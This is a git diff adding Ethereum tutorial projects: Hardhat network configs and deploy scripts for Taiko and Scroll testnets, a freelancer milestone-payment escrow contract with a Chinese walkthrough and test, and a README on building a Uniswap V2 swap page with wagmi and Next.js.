+      accounts: [
+        mnemonic()
+      ],
+    },
+    scrollSepolia: {
+      url: "https://sepolia-rpc.scroll.io/",
+      accounts: [
+        mnemonic()
+      ]
+    },
+    taiko: {
+      url: "https://rpc.test.taiko.xyz",
+      accounts:  [
+        mnemonic()
+      ],
+   }
+  },
+  etherscan: {
+    apiKey: {
+        taiko: "42069",
+    },
+    customChains: [
+        {
+            network: "taiko",
+            chainId: 167005,
+            urls: {
+                apiURL: "https://explorer.test.taiko.xyz/api",
+                browserURL: "https://explorer.test.taiko.xyz",
+            },
+        },
+    ],
+}
+};
\ No newline at end of file
diff --git a/basic/51-taiko-layer2/package.json b/basic/51-taiko-layer2/package.json
new file mode 100644
index 000000000..9974dc10d
--- /dev/null
+++ b/basic/51-taiko-layer2/package.json
@@ -0,0 +1,27 @@
+{
+  "name": "34-taiko-layer2",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.5"
+  },
+  "devDependencies": {
+    "@arbitrum/sdk": "^1.1.4",
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "arb-bridge-eth": "^0.7.7",
+    "arb-shared-dependencies": "^1.0.0",
+    "arbos-precompiles": "^1.0.2",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/51-taiko-layer2/scripts/create2Deploy.js b/basic/51-taiko-layer2/scripts/create2Deploy.js
new file mode 100644
index 000000000..b1c3867aa
--- /dev/null
+++ b/basic/51-taiko-layer2/scripts/create2Deploy.js
@@ -0,0 +1,54 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+
+    const [deployer] = await ethers.getSigners();
+    console.log("Network ChainId:", (await ethers.provider.getNetwork()).chainId);
+
+    console.log(
+        "Deploying contracts with the account:",
+        deployer.address
+    );
+
+    console.log("Account balance:", (await deployer.getBalance()).toString());
+
+    const factoryContractDeployer = await ethers.getContractFactory("ExampleContractFactory");
+    const contractDeployer = await ethers.getContractFactory("ExampleContract");
+    const factoryContractdeployed = await factoryContractDeployer.deploy()
+  
+    const exampleParam = 1
+    const salt = 1
+  
+    const exampleContractBytecode = await factoryContractdeployed.getBytecode(exampleParam);
+    console.log("bytecode" , exampleContractBytecode)
+    
+    const contractAddress = await factoryContractdeployed.getAddress(exampleContractBytecode, salt);
+    console.log("contract address calculated",contractAddress)
+    
+    const contract = await contractDeployer.attach(contractAddress)
+  
+    const deploy = await factoryContractdeployed.deployDeterministically(exampleParam,salt)
+
+    const receipt = await deploy.wait();
+  
+    console.log("Factory deployed to:", receipt.events[0].args.contractAddress);
+
+    // let  val = await contract.exampleVariable();
+    
+    // console.log("exampleVariable ", val);
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/51-taiko-layer2/scripts/deploy.js b/basic/51-taiko-layer2/scripts/deploy.js
new file mode 100644
index 000000000..149462ce0
--- /dev/null
+++ b/basic/51-taiko-layer2/scripts/deploy.js
@@ -0,0 +1,33 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+
+    const [deployer] = await ethers.getSigners();
+    console.log("Network ChainId:", (await ethers.provider.getNetwork()).chainId);
+
+    console.log(
+        "Deploying contracts with the account:",
+        deployer.address
+    );
+
+    console.log("Account balance:", (await deployer.getBalance()).toString());
+
+    const Token = await ethers.getContractFactory("SimpleToken");
+    const token = await Token.deploy("Dapp-Learning-taiko", "DL", 1, 100000000);
+
+    console.log("Token address:", token.address);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/53-freelancer/.env.example b/basic/53-freelancer/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/53-freelancer/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/53-freelancer/.gitignore b/basic/53-freelancer/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/53-freelancer/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/53-freelancer/README.md b/basic/53-freelancer/README.md
new file mode 100644
index 000000000..572eda1cd
--- /dev/null
+++ b/basic/53-freelancer/README.md
@@ -0,0 +1,145 @@
+## FreeLancer 介绍
+
+合约旨在为自由职业者提供一个付费机制, 根据项目的进度及完成情况, 项目方能阶段性进行付费, 从而避免拖欠款项或是项目进度无法保证的情况, 为双方建立一个互利共赢的付费机制.  
+下面将在实操过程中详细介绍合约逻辑.
+
+## 项目流程及函数接口说明
+
+- 启动项目  
+  将合约部署到测试网络上, 代表启动一个项目. 如下我们看到 constructor 接口中会把 projectState 初始化为 ProjectState.initiated.
+
+```solidity
+constructor();
+{
+  freelancerAddress = payable(msg.sender);
+  projectState = ProjectState.initiated;
+}
+```
+
+- 开发者增加第一个任务  
+  项目启动后, 开发者会把项目拆解为多个 task, 这样可以阶段性的得到 payments, 而不用担心项目方跑路, 最后没有得到任何的 payment.
+  这里开发者调用 addSchedule , 表示增加第一个任务, 如 'addSchedule("DSP", "Design Phase", 1250000000000000000)', 之后开发者还可以增加后续的 task, 全部 task 增加完成后, 开发者就可以发送合约给项目方, 使项目方进行操作.
+
+```solidity
+function addSchedule(string memory _shortCode, string memory _description, uint256 _value)
+        public
+        inProjectState(ProjectState.initiated)
+        onlyFreelancer
+    {
+        schedule memory s;
+        s.shortCode = _shortCode;
+        s.description = _description;
+        s.scheduleState = ScheduleState.planned;
+        s.value = _value;
+        scheduleRegister[totalSchedules] = s;
+        totalSchedules++;
+        emit scheduleAdded(_shortCode);
+    }
+```
+
+- 项目方承认项目启动  
+  项目方接收到开发者发过来的合约后, 调用 acceptProject 接口表示承认项目启动
+
+```solidity
+function acceptProject()
+        public
+        inProjectState(ProjectState.initiated)
+    {
+        clientAddress = msg.sender;
+        projectState = ProjectState.accepted;
+        emit projectAccepted(msg.sender);
+    }
+```
+
+- 项目方为任务存入资金  
+  项目方不必为所有任务存入所有资金, 只需要依次为任务存入资金即可. 比如项目方只为任务 1 存入资金 "fundTask(0)"
+
+```solidity
+function fundTask(int256 _scheduleID)
+        public
+        payable
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.planned)
+        ampleFunding(_scheduleID, msg.value)
+        onlyClient
+    {
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.funded;
+        emit taskFunded(_scheduleID);
+    }
+```
+
+- 开发者启动任务  
+  项目方在对应任务存入资金后, 开发者可以启动对应的任务 "startTask(0)" , 完成任务后发送给项目方, 让项目方认可任务完成
+
+```solidity
+    function startTask(int256 _scheduleID)
+        public
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.funded)
+        onlyFreelancer
+    {
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.started;
+        emit taskStarted(_scheduleID);
+    }
+```
+
+- 项目方承认任务完成  
+  开发者完成相应的任务后, 发送给项目方, 项目方调用 approveTask 接口认可任务完成 , 比如 "approveTask(0)"
+
+```solidity
+function approveTask(int256 _scheduleID)
+        public
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.started)
+        onlyClient
+    {
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.approved;
+        emit taskApproved(_scheduleID);
+    }
+```
+
+- 开发者获取 payments
+  项目方认可任务完成后, 开发者就可以先调用 getBalance 接口查看合约中是否存入了对应的资金, 之后可以调用 "releaseFunds" 获取任务对应的 payments, 比如 "releaseFunds(0)"
+
+```solidity
+function releaseFunds(int256 _scheduleID)
+        public
+        payable
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.approved)
+        onlyFreelancer
+    {
+        freelancerAddress.transfer(scheduleRegister[_scheduleID].value);
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.released;
+        emit fundsReleased(_scheduleID, scheduleRegister[_scheduleID].value);
+    }
+```
+
+- 结束项目
+  当开发者完成所有的 task 后, 项目就可以结束了, 这个时候, 项目方或是开发者都可以调用 endProject 接口结束项目
+
+```solidity
+function endProject()
+        public
+        bothClientFreelancer
+        noMoreFunds
+    {
+        projectState = ProjectState.closed;
+        emit projectEnded();
+    }
+
+```
+
+## 测试流程
+
+- 安装依赖
+
+```bash
+yarn
+```
+
+- 执行测试文件
+
+```bash
+npx hardhat test
+```
diff --git a/basic/53-freelancer/contracts/Freelancer.sol b/basic/53-freelancer/contracts/Freelancer.sol
new file mode 100644
index 000000000..8e3146adb
--- /dev/null
+++ b/basic/53-freelancer/contracts/Freelancer.sol
@@ -0,0 +1,169 @@
+/**
+ * @file freelance.sol
+ * @author Jackson Ng <jackson@jacksonng.org>
+ * @date created 17th Apr 2021
+ * @date last modified 18th Apr 2021
+ */
+
+//SPDX-License-Identifier: MIT
+ 
+pragma solidity ^0.8.0;
+
+contract Freelancer{
+    
+    enum ScheduleState {planned, funded, started, approved, released}
+    enum ProjectState {initiated, accepted, closed}
+    
+    struct schedule{
+        string shortCode;
+        string description;
+        uint256 value;
+        ScheduleState scheduleState;
+    }  
+  
+    int256 public totalSchedules = 0;
+    address payable public freelancerAddress;
+    address public clientAddress;
+    ProjectState public projectState;
+    
+    mapping(int256 => schedule) public scheduleRegister;
+  
+	modifier condition(bool _condition) {
+		require(_condition);
+		_;
+	}
+
+	modifier onlyFreelancer() {
+		require(msg.sender == freelancerAddress);
+		_;
+	}
+
+	modifier onlyClient() {
+		require(msg.sender == clientAddress);
+		_;
+	}
+	
+	modifier bothClientFreelancer(){
+		require(msg.sender == clientAddress || msg.sender == freelancerAddress);
+		_;	    
+	}
+
+	modifier inProjectState(ProjectState _state) {
+		require(projectState == _state);
+		_;
+	}
+
+    modifier inScheduleState(int256 _scheduleID, ScheduleState _state){
+        require((_scheduleID <= totalSchedules - 1) && scheduleRegister[_scheduleID].scheduleState == _state);
+        _;
+    }
+
+    modifier ampleFunding(int256 _scheduleID, uint256 _funding){
+        require(scheduleRegister[_scheduleID].value == _funding);
+        _;
+    }
+
+    modifier noMoreFunds(){
+        require(address(this).balance == 0);
+        _;
+    }
+
+    event scheduleAdded(string shortCode);
+    event projectAccepted(address clientAddress);
+    event taskFunded(int256 scheduleID);
+    event taskStarted(int256 scheduleID);
+    event taskApproved(int256 scheduleID);
+    event fundsReleased(int256 scheduleID, uint256 valueReleased);
+    event projectEnded();
+    
+    constructor()
+    {
+        freelancerAddress = payable(msg.sender);
+        projectState = ProjectState.initiated;
+    }
+    
+    function addSchedule(string memory _shortCode, string memory _description, uint256 _value)
+        public
+        inProjectState(ProjectState.initiated)
+        onlyFreelancer
+    {
+        schedule memory s;
+        s.shortCode = _shortCode;
+        s.description = _description;
+        s.scheduleState = ScheduleState.planned;
+        s.value = _value;
+        scheduleRegister[totalSchedules] = s;
+        totalSchedules++;
+        emit scheduleAdded(_shortCode);
+    }
+    
+    function acceptProject()
+        public
+        inProjectState(ProjectState.initiated)
+    {
+        clientAddress = msg.sender;
+        projectState = ProjectState.accepted;
+        emit projectAccepted(msg.sender);
+    }
+    
+    function fundTask(int256 _scheduleID)
+        public
+        payable
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.planned)
+        ampleFunding(_scheduleID, msg.value)
+        onlyClient
+    {
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.funded;
+        emit taskFunded(_scheduleID);
+    }
+    
+    function startTask(int256 _scheduleID)
+        public
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.funded)
+        onlyFreelancer
+    {
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.started;
+        emit taskStarted(_scheduleID);
+    }
+
+    function approveTask(int256 _scheduleID)
+        public
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.started)
+        onlyClient
+    {
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.approved;
+        emit taskApproved(_scheduleID);
+    }
+    
+    function releaseFunds(int256 _scheduleID)
+        public
+        payable
+        inProjectState(ProjectState.accepted)
+        inScheduleState(_scheduleID, ScheduleState.approved)
+        onlyFreelancer
+    {
+        freelancerAddress.transfer(scheduleRegister[_scheduleID].value);
+        scheduleRegister[_scheduleID].scheduleState = ScheduleState.released;
+        emit fundsReleased(_scheduleID, scheduleRegister[_scheduleID].value);
+    }
+    
+    function endProject()
+        public
+        bothClientFreelancer
+        noMoreFunds
+    {
+        projectState = ProjectState.closed;
+        emit projectEnded();
+    }
+    
+    function getBalance()
+        public
+        view
+        returns (uint256 balance)
+    {
+        return address(this).balance;
+    }
+} 
\ No newline at end of file
diff --git a/basic/53-freelancer/hardhat.config.js b/basic/53-freelancer/hardhat.config.js
new file mode 100644
index 000000000..06cb9ba91
--- /dev/null
+++ b/basic/53-freelancer/hardhat.config.js
@@ -0,0 +1,68 @@
+require("@nomiclabs/hardhat-waffle");
+require('dotenv').config()
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+  return process.env.PRIVATE_KEY
+ 
+ }
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.0"
+      },
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
diff --git a/basic/53-freelancer/package.json b/basic/53-freelancer/package.json
new file mode 100644
index 000000000..7a3e498a7
--- /dev/null
+++ b/basic/53-freelancer/package.json
@@ -0,0 +1,23 @@
+{
+  "name": "53-freelancer",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.7"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/53-freelancer/test/freelancer.test.js b/basic/53-freelancer/test/freelancer.test.js
new file mode 100644
index 000000000..baa9893fa
--- /dev/null
+++ b/basic/53-freelancer/test/freelancer.test.js
@@ -0,0 +1,52 @@
+const { expect } = require("chai");
+const { BigNumber } = require("@ethersproject/bignumber");
+
+describe("Freelancer", function() {
+  it("Freelancer Test", async function() {
+    const [Alice, Bob] = await ethers.getSigners();
+
+    const freelancerFactory = await ethers.getContractFactory("Freelancer");
+    const freelancerContractAlice = await freelancerFactory.deploy();
+    
+    await freelancerContractAlice.deployed();
+    
+    // Programmer add task
+    await freelancerContractAlice.addSchedule("DSP", "Design Phase", ethers.utils.parseEther("0.25"));
+
+    // Client accept the project
+    let freelancerContractBob = freelancerContractAlice.connect(Bob);
+    await freelancerContractBob.acceptProject();
+
+    // Client funds for task
+    let overrides = {
+      // To convert Ether to Wei:
+      value: ethers.utils.parseEther("0.25")     // ether in this case MUST be a string
+  
+      // Or you can use Wei directly if you have that:
+      // value: someBigNumber
+      // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+      // value: "1234567890"
+      // value: "0x1234"
+  
+      // Or, promises are also supported:
+      // value: provider.getBalance(addr)
+  };
+    await freelancerContractBob.fundTask(0,overrides);
+
+    // Check balance
+    expect(await freelancerContractBob.getBalance()).to.equal(ethers.utils.parseEther("0.25"));
+  
+    // Programmer start task 
+    await freelancerContractAlice.startTask(0);
+
+    // Client approve task 
+    await freelancerContractBob.approveTask(0);
+
+    // Programmer releaseFunds 
+    await freelancerContractAlice.releaseFunds(0);
+    expect(await freelancerContractBob.getBalance()).to.equal(ethers.utils.parseEther("0"));
+
+    // End project
+    await freelancerContractAlice.endProject();
+  });
+});
diff --git a/basic/59-wagmi-and-nextjs/README.md b/basic/59-wagmi-and-nextjs/README.md
new file mode 100644
index 000000000..dc5de5498
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/README.md
@@ -0,0 +1,442 @@
+# Wagmi and Nextjs
+
+We will try to make a simple website of UniswapV2 by wagmi and nextjs.
+
+## tech stacks
+
+- React.js (hooks)
+- TypeScript
+- wagmi (React Hooks for Ethereum)
+- etehrs
+- Next.js (server-side rendering (SSR))
+- rainbowkit (based on wagmi)
+- styled-components (react css package)
+- react-toastify (toast plugin)
+
+### wagmi
+
+**wagmi**(We all gonna make it!) is a collection of React Hooks containing everything you need to start working with Ethereum. wagmi makes it easy to "Connect Wallet," display ENS and balance information, sign messages, interact with contracts, and much more — all with caching, request deduplication, and persistence.
+
+### Next.js
+
+Next.js aims to have best-in-class developer experience and many built-in features, such as:
+
+- An intuitive page-based routing system (with support for dynamic routes)
+- Pre-rendering, both static generation (SSG) and server-side rendering (SSR) are supported on a per-page basis
+- Automatic code splitting for faster page loads
+- Client-side routing with optimized prefetching
+- Built-in CSS and Sass support, and support for any CSS-in-JS library
+- Development environment with Fast Refresh support
+- API routes to build API endpoints with Serverless Functions
+- Fully extendable
+
+### Rainbow kit
+
+RainbowKit is a React library that makes it easy to add wallet connection to your dapp. It's intuitive, responsive and customizable.
+
+## Quick Start
+
+```sh
+cd uniswap-v2-interface-wagmi
+yarn install
+yarn dev
+```
+
+## Step-by-Step
+
+### installation
+
+Create dapp from templete which is base on react, typescript and styled-components.
+
+```sh
+yarn create next-app --example with-styled-components uniswap-v2-interface-wagmi
+```
+
+After install npm package, we get a starter in ./uniswap-v2-interface-wagmi. Then enter folder, if it works well, you will see website run at localhost:3000.
+
+```sn
+cd uniswap-v2-interface-wagmi/
+yarn dev
+```
+
+Add wagmi, ethers, rainbowkit, react-toastify
+
+```sh
+yarn add wagmi ethers @rainbow-me/rainbowkit react-toastify
+```
+
+### Config Wagmi and Rainbowkit
+
+Let's config wagmi and rainbowkit, so that our web2 website would transfer to web3 dapp.
+
+import wagmi and rainbowkit.
+
+```tsx
+// pages/_app.tsx
+
+import {
+  getDefaultWallets,
+  RainbowKitProvider,
+} from '@rainbow-me/rainbowkit';
+import {
+  chain,
+  configureChains,
+  createClient,
+  WagmiConfig,
+} from 'wagmi';
+import { alchemyProvider } from 'wagmi/providers/alchemy';
+import { publicProvider } from 'wagmi/providers/public';
+import { ToastContainer } from 'react-toastify';
+import '@rainbow-me/rainbowkit/styles.css';
+import 'react-toastify/dist/ReactToastify.css';
+
+```
+
+configure
+
+```tsx
+// pages/_app.tsx
+
+const { chains, provider } = configureChains(
+  [chain.mainnet, chain.polygon, chain.optimism, chain.arbitrum],
+  [
+    alchemyProvider({ apiKey: process.env.ALCHEMY_ID }),
+    publicProvider()
+  ]
+);
+
+const { connectors } = getDefaultWallets({
+  appName: 'My RainbowKit App',
+  chains
+});
+
+const wagmiClient = createClient({
+  autoConnect: true,
+  connectors,
+  provider
+})
+```
+
+Add `<WagmiConfig>`, `<RainbowKitProvider>` to contain our page content in react node
+
+```tsx
+// pages/_app.tsx
+
+<ThemeProvider theme={theme}>
+  <WagmiConfig client={wagmiClient}>
+    <RainbowKitProvider chains={chains}>
+      <GlobalStyle />
+      <ToastContainer />
+      <Component {...pageProps} />
+    </RainbowKitProvider>
+  </WagmiConfig>
+</ThemeProvider>
+```
+
+Ofcourse, we also need to add ALCHEMY_ID in `.env`
+
+```sh
+ALCHEMY_ID=XXX
+```
+
+Change some text content, rename page name and file name.
+
+- edit `components/cards.tsx`, make it to show multiple links
+- change `pages/index.tsx` text content
+- rename `abount.tsx` to `swap.tsx`
+
+```tsx
+// components/cards.tsx
+// replace export default part
+interface PageProp {
+  href: string;
+  name: string;
+}
+export default function Cards(props: { pages: PageProp[] }) {
+  return (
+    <FlexContainer>
+      <Card>
+        {props.pages.map((item, index) => (
+          <StyledLink key={index} href={item.href} name={`${item.name}`} />
+        ))}
+      </Card>
+    </FlexContainer>
+  );
+}
+
+// pages/index.tsx
+// change text content whatever you want
+
+...
+
+// pass our swap page path into Cards component
+<Cards pages={[
+  {href: '/swap', name: 'Swap page'},
+]} />
+
+// rename `abount.tsx` to `swap.tsx`
+
+```
+
+Then we get ready to make a uniswapv2 interface.
+
+## Swap Page
+
+First, add a connect wallet button. Just simply add it from rainbowkit, then our dapp already have connected wallet function, you could test it by clicking the button.
+
+```tsx
+// pages/swap.tsx
+
+import { ConnectButton } from '@rainbow-me/rainbowkit';
+
+...
+<ConnectButton />
+...
+```
+
+copy abi.json file from etherscan, put them in `abi/` folder, create `config/contractConfig.ts`, set some configuration of contracts.
+
+```ts
+// config/contractConfig.ts
+// goerli testnet
+
+import UniswapRouter2ABI from "../abi/UniswapRouter2ABI.json";
+import WETHABI from "../abi/WETHABI.json";
+import DaiABI from "../abi/DaiABI.json";
+
+export const ROUTER2_ADDRESS = '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D';
+export const WETH_ADDRESS = '0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6';
+export const DAI_ADDRESS = '0xf2edF1c091f683E3fb452497d9a98A49cBA84666'
+
+export const router2ContractConfig = {
+  address: ROUTER2_ADDRESS,
+  abi: UniswapRouter2ABI,
+};
+export const wethContractConfig = {
+  address: WETH_ADDRESS,
+  abi: WETHABI,
+}
+export const daiContractConfig = {
+  address: DAI_ADDRESS,
+  abi: DaiABI,
+}
+```
+
+Add some dom in swap.tsx (select token list and amount inputbox), give them some styles with setyled-components.
+
+```tsx
+// pages/swap.tsx
+const tokens = [
+  { name: 'WETH', config: wethContractConfig },
+  { name: 'Dai', config: daiContractConfig },
+];
+export default function Swap() {
+  const [inputIndex, setInputIndex] = useState(0);
+  const [outputIndex, setOutputIndex] = useState(1);
+  const [inputAmount, setInputAmount] = useState<BigNumber>(BigNumber.from("0"));
+  const [outputAmount, setOutputAmount] = useState<BigNumber>(BigNumber.from("0"));
+
+  return (
+    ...
+    <SwapBox>
+    <TokenList>
+      <h3>input token:</h3>
+      {tokens.map((item, index) => (
+        <label key={index}>
+          <input name="inputToken" type="radio" checked={index == inputIndex} onChange={(e: any) => {
+            setInputIndex(index)
+            if (outputIndex == index) {
+              setOutputIndex((index+1) % tokens.length)
+            }
+            }} />
+          {item.name}
+        </label>
+      ))}
+      <input type="text" value={formatEther(inputAmount)} onChange={(e:any) => {
+        const value = e.target.value;
+        if (value && value !== '') {
+          setInputAmount(parseEther(value));
+        } else {
+          setInputAmount(BigNumber.from("0"))
+        }
+      }} />
+    </TokenList>
+    <TokenList>
+      <h3>output token:</h3>
+      {tokens.map((item, index) => (
+        <label key={index}>
+          <input name="outputToken" type="radio" checked={index == outputIndex} onChange={(e: any) => {
+            setOutputIndex(index)
+            if (inputIndex == index) {
+              setInputIndex((index+1) % tokens.length)
+            }
+          }} />
+          {item.name}
+        </label>
+      ))}
+      <input type="text" value={formatEther(outputAmount)} disabled/>
+    </TokenList>
+  </SwapBox>
+    ...
+  );
+}
+```
+
+UniswapV2 `Router2.getAmountsOut()` function will help us calculate outputToken amount. we could use wagmi hook `useContractRead`  to fetch contract function. The hook will return a `refetch` function which will be put in `useEffect` react hook. When a select token index or input amount changes, it will fetch a new result of getAmountsOut function.
+
+```tsx
+// pages/swap.tsx
+
+const { isLoading: getAmountsOutLoading, refetch: getAmountsOutRefetch } = useContractRead({
+  // fetch router2.getAmountsOut get output amount
+  // function getAmountsOut(uint amountIn, address[] memory path) public view returns (uint[] memory amounts);
+  ...router2ContractConfig,
+  functionName: "getAmountsOut",
+  args: [
+    inputAmount,
+    [
+      tokens[inputIndex].config.address,
+      tokens[outputIndex].config.address,
+    ]
+  ],
+  // trigger condition: input and output are different token && inputAmount > 0
+  enabled: inputIndex !== outputIndex && inputAmount.gt(BigNumber.from("0")),
+  onSuccess(data: BigNumber) {
+    if (data && data[1]) setOutputAmount(data[1])
+  },
+  onError(err) {
+    // console.error(err)
+    toast.error(JSON.stringify(err))
+  }
+});
+```
+
+same way add fetch allowance logstic. wagmi hook `useAccount` will return user's wallet addres and connecting status.
+
+```tsx
+// get user address from wagmi hook useAccount
+const { address, isConnected } = useAccount();
+const [isApproved, setIsApproved] = useState(false);
+
+const { isLoading: allowanceLoading, refetch: allowanceRefetch } = useContractRead({
+  // fetch outputToken.allowance
+  // function allowance(address account, address spender) public view returns (uint);
+  address: tokens[inputIndex].config.address,
+  abi: tokens[inputIndex].config.abi,
+  functionName: "allowance",
+  enabled: isConnected,
+  args: [address, router2ContractConfig.address],
+  onSuccess(data: BigNumber) {
+    if (data.gt(BigNumber.from("0"))) {
+      setIsApproved(data.gte(outputAmount))
+    } else {
+      setIsApproved(false);
+    }
+  },
+  onError(err) {
+    toast.error(JSON.stringify(err))
+  }
+});
+```
+
+Refetch result when select index or input amount changes.
+
+```tsx
+// fetch getAmountsOut when select index or input amount changed
+useEffect(() => {
+  if (!getAmountsOutLoading && inputIndex !== outputIndex && inputAmount.gt(BigNumber.from("0"))) {
+    getAmountsOutRefetch()
+    allowanceRefetch()
+  }
+}, [inputIndex, inputAmount])
+```
+
+wagmi hook `usePrepareContractWrite` help us to eagerly fetches the parameters required for sending a contract write transaction such as the gas estimate. rainbowkit hook `useAddRecentTransaction` will add tx hash in rainbowkit when we send transcation.
+
+```tsx
+const toastId = useRef<Id | null>(null);
+// addRecentTransaction will add tx hash in rainbowkit when send transcation
+const addRecentTransaction = useAddRecentTransaction();
+
+const { config: approveConfig } = usePrepareContractWrite({
+  address: tokens[inputIndex].config.address,
+  abi: tokens[inputIndex].config.abi,
+  enabled: isConnected,
+  functionName: "approve",
+  args: [
+    router2ContractConfig.address,
+    constants.MaxUint256
+  ],
+  onError(err: any) {
+    toast.error(JSON.stringify(err));
+  },
+});
+```
+
+hook `useContractWrite` is the acctually send transaction method, use prepare hook's result be its input params.
+
+```tsx
+const { write: approveWrite } = useContractWrite({
+  ...approveConfig,
+  onMutate(data) {
+    toastId.current = toast("Please wait...", { isLoading: true });
+  },
+  onSuccess(data) {
+    console.warn("writen contract approve:\n", data);
+    // add pending tx hash in rainbowkit 
+    addRecentTransaction({
+      hash: data.hash,
+      description: `approve`,
+      confirmations: 1,
+    });
+    // wati tx confirmed 1 block
+    data
+      .wait(1)
+      .then((res) => {
+        console.warn("transaction confirmed", res);
+        toast.update(toastId.current as Id, {
+          render: "approve successfully",
+          type: toast.TYPE.SUCCESS,
+          isLoading: false,
+          autoClose: 3_000,
+        });
+        setIsApproved(true);
+      })
+      .catch((err) => {
+        console.error(err);
+        toast.update(toastId.current as Id, {
+          render: err,
+          type: toast.TYPE.ERROR,
+          isLoading: false,
+        });
+      });
+  },
+  onError(err: any) {
+    toast.update(toastId.current as Id, {
+      render: JSON.stringify(err),
+      type: toast.TYPE.ERROR,
+      isLoading: false,
+      autoClose: 5_000,
+    });
+  },
+});
+```
+
+The same way to add swap logstic. And add tow buttons in the dom, we've done!
+
+You can find the final code in [pages/swap.tsx](./uniswap-v2-interface-wagmipages/swap.tsx).
+
+## TODO
+
+- liquidity page
+- improve UI
+- add ApolloClient to query subgraph
+
+## Reference
+
+- wagmi <https://wagmi.sh/>
+- Next.js <https://nextjs.org/docs/getting-started>
+- rainbowkit <https://www.rainbowkit.com/>
+- styled-components <https://github.com/styled-components/styled-components>
+- [Client-side vs. server-side rendering: why it’s not all black and white](https://www.freecodecamp.org/news/what-exactly-is-client-side-rendering-and-hows-it-different-from-server-side-rendering-bd5c786b340d/)
+- UniswapV2 docs <https://docs.uniswap.org/protocol/V2/reference/smart-contracts/router-02>
